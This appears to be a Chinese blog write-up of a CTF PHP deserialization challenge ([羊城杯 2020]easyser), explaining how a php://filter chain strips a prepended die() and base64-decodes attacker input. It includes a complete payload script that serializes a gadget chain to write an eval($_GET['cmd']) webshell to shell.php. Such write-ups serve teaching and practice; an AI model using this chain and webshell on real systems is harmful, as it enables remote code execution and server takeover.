反序列化死亡exit绕过

又做了一个反序列化,发现一个知识点。[羊城杯 2020]easyser

点击查看代码
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?>
注入点在file_put_contents,但是先别急,源码中将死亡代码拼接到你的代码前面进行执行,会直接退出,不会执行你的代码,这里就要涉及到php伪协议中的一个方法来绕过了。
点击查看代码
php://filter/write=string.strip_tags|convert.base64-decode/resource   (php://filter允许通过 | 使用多个过滤器)
string.strip_tags,先去php语法找strip_tags函数,strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。死亡代码,实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,但是我们的shell如何绕过呢。接下来的base64-decoded发挥作用了,将自己的码进行编码绕过strip_tags就可以了。
点击查看代码
具体的利用分析:
1. 自己的shell用base64编码   //为了避免strip_tags的影响
2、调用string.strip_tags //这一步将去除<?php exit; ?>
3、调用convert.base64-decode //这一步将还原base64编码的webshell
点击查看代码
payload:
<?php
class GWHT{
    public $hero;
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct() {
        $this -> file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
        $this-> text = base64_encode("<?php eval(\$_GET['cmd']);?>");

    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
        @file_put_contents($this-> file,$a);
    }
}
$a = new GWHT();
$b = new Yongen();
$a->hero = $b;
echo urlencode(serialize($a));
相似的题:https://blog.csdn.net/qq_38338511/article/details/129630326
posted @   jockerliu  阅读(110)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示